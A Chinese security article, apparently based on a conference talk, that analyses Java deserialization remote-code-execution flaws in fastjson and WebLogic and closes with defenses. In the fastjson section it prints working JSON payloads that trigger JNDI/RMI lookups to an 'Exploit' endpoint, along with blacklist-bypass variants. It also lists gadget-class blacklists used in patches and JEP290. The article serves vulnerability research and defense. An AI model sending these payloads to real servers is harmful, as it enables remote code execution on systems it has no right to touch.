先知议题解读 | Java反序列化实战

阅读量319923

|

发布时间 : 2018-06-20 15:45:16

一 、议题和个人介绍

1.1 议题概述

2017年又是反序列漏洞的大年,涌现了许多经典的因为反序列化导致的远程代码执行漏洞,像fastjson,jackson,struts2,weblogic这些使用量非常大的产品都存在这类漏洞,但不幸的是,这些漏洞的修复方式都是基于黑名单,每次都是旧洞未补全,新洞已面世。随着虚拟货币的暴涨,这些直接的远程执行代码漏洞都成了挖矿者的乐园。 本议题将从那些经典案例入手,分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析,由于黑名单做了加密处理,这里会展开如何得到其黑名单,如何构造PoC。当然2018年的重点还是weblogic,由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞,带大家傲游反序列化的世界,同时也是希望开发者多多借鉴做好安全编码。

1.2 个人简介

本文作者来自绿盟科技,现任网络安全攻防实验室安全研究经理,安全行业从业七年,是看雪大会讲师,Pycon大会讲师,央视专访嘉宾,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞报告,最近的Weblogic CVE-2018-2628就是一个。

个人博客:xxlegend.com 个人公众号:廖新喜

 

二、 反序列化入门

序列化和反序列化是java引入的数据传输存储接口,序列化是用于将对象转换成二进制串存储,对应着writeObject,而反序列正好相反,将二进制串转换成对象,对应着readObject,类必须实现反序列化接口,同时设置serialVersionUID以便适用不同jvm环境。 可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头:0xaced,TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle 使用场景: • http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等 • Servlets HTTP,Sockets,Session管理器 包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed) • xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml) • json(Jackson,fastjson) http请求中包含

反序列攻击时序图:

常见的反序列化项目: • Ysoserial 原生序列化PoC生成 • Marshalsec 第三方格式序列化PoC生成 • Freddy burp反序列化测试插件 • Java-Deserialization-Cheat-Sheet

 

三、 fastjson

3.1 简介

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法,号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化,示例代码如下:

User user = new User("guest",2);

String jsonString = JSON.toJSONString(user)


String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"

User user = (User)JSON.parse(jsonString)

Fastjson PoC分类 主要分为两大类,一个是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分为 a) Bean Property类型 b) Field类型 可以参考Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson为了防止研究人员研究它的黑名单,想出了一套新的黑名单机制,这套黑名单是基于具体类的hash加密算法,不可逆。如果是简单穷举,基本算不出来,后来我想到这些库的黑名单肯定都在Maven仓库中,于是写了个爬虫,爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。

3.2 fastjson最近的几个经典漏洞

下面这段代码是fastjson用来自定义loadClass的实现

   public static Class<?> loadClass(String className, ClassLoader classLoader) {

          //省略

        if (className.charAt(0) == '[') {

            Class<?> componentType = loadClass(className.substring(1), classLoader);

            return Array.newInstance(componentType, 0).getClass();

        }


        if (className.startsWith("L") && className.endsWith(";")) {

            String newClassName = className.substring(1, className.length() - 1);

            return loadClass(newClassName, classLoader);

        }


        try {

            if (classLoader != null) {

                clazz = classLoader.loadClass(className);

首先我们来看一个经典的PoC,{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有,这里不再详述,但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞,首先看1.2.41的绕过方法是Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符L和最后一个字符吧,果不其然,在官方的修补方案中,如果以L打头,结尾则会去掉打头和结尾。当时我就发了一个感概:补丁未出,漏洞已行。很显然,1.2.42的绕过方法是LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有[打头部分,所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名单中又添加了ibatis的黑名单,PoC如下:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}},首先这是一个基于JNDI的PoC,为了更加理解这个PoC,我们还是先来看一下JndiDataSourceFactory的源码。

public class JndiDataSourceFactory implements DataSourceFactory {

  public static final String DATA_SOURCE = "data_source";

  //省略

  public void setProperties(Properties properties) {

    try {

      InitialContext initCtx = null;

      Hashtable env = getEnvProperties(properties);

      if (env == null) {

        initCtx = new InitialContext();

      } else {

        initCtx = new InitialContext(env);

      }

      //省略

      } else if (properties.containsKey(DATA_SOURCE)) {

        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));

      }


    } catch (NamingException e) {

      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);

    }

  }

其本质还是通过bean操作接口set来调用setProperties,然后触发JNDI查询。

 

四、 weblogic

Weblogic是第一个成功商业化的J2EE应用服务器,在大型企业中使用非常广泛。在Oracle旗下,可以与其他Oracle产品强强联手,WebLogic Server Java EE 应用基于标准化、模块化的组件,WebLogic Server 为这些模块提供了一组完整的服务,无需编程即可自动处理应用行为的许多细节,另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示: 

CVE-2015-4852

基于T3 • 新的攻击面 • 基于commons-collections • 采用黑名单修复

org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

• 作用位置有限

  1. weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
  2. weblogic.rjvm.MsgAbbrevInputStream.class
  3. weblogic.iiop.Utils.class

CVE-2016-0638

首先来看下漏洞位置,在readExternal位置,

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

                super.readExternal(var1);

                //省略

                    ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);

                    ObjectInputStream var5 = new ObjectInputStream(var4);

                    //省略

                    try {

                        while (true) {

                            this.writeObject(var5.readObject());

                        }

                    } catch (EOFException var9) {

再来看看补丁,加了一个FilteringObjectInputStream过滤接口

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

                super.readExternal(var1);

                //省略

                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)

                    BufferInputStream is = this.payload.getInputStream();

                    FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);

                    //省略

                    try {

                        while (true) {

                            this.writeObject(var5.readObject());

                        }

                    } catch (EOFException var9) {

FilteringObjectInputStream的实现如下:

   public class FilteringObjectInputStream extends ObjectInputStream {

   public FilteringObjectInputStream(InputStream in) throws IOException {

      super(in);

   }


   protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

      String className = descriptor.getName();

      if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {

         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

      } else {

         return super.resolveClass(descriptor);

      }

   }

}

其实就是在resolveClass位置加了一层黑名单控制。

基于XMLDecoder

• CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞 • CVE-2017-10271 是3506的绕过 • 都是挖矿主力军 • 基于http协议 详细解读可参考我的博客:http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

CVE-2017-3248

   private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {

      protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

         String className = descriptor.getName();

         if(className != null && className.length() > 0

             && ClassFilter.isBlackListed(className)) {

            throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

         } else {

            Class c = super.resolveClass(descriptor);

              //省略

         }

      }


      protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {

         String[] arr$ = interfaces;

         int len$ = interfaces.length;


         for(int i$ = 0; i$ < len$; ++i$) {

            String intf = arr$[i$];

            if(intf.equals("java.rmi.registry.Registry")) {

               throw new InvalidObjectException("Unauthorized proxy deserialization");

            }

         }


         return super.resolveProxyClass(interfaces);

      }

 

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的,从这个补丁也可以看出,在resolveClass和resolveProxyClass都设置了黑名单。

CVE-2018-2628

这个漏洞是我报给Oracle官方的,但是他们并没有修复完全,导致后来这个漏洞被滥用。 • 完美绕过CVE-2017-3248 • 基于StreamMessage封装 • 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制 • Proxy非必须项 攻击示意图如下:

  简单分析可见:http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

 

五、 反序列化防御

5.1 Weblogic防御

• 过滤T3协议,限定可连接的IP • 设置Nginx反向代理,实现t3协议和http协议隔离 • JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理,黑名单如下: 黑名单:

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

当然也有失效的时候,就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。

5.2 原生反序列化防御

• 不要反序列化不可信的数据 • 给反序列数据加密签名,并确保解密在反序列之前 • 给反序列化接口添加认证授权 • 反序列化服务只允许监听在本地或者开启相应防火墙 • 升级第三方库 • 升级JDK,JEP290

 

绿盟科技Web攻防实验室欢迎各位应聘,招聘大牛和实习生。团队专注于最前沿的Web攻防研究,大数据分析,前瞻性攻击与检测预研. 联系邮箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com

 

本文由廖新喜原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/148593

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
廖新喜
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66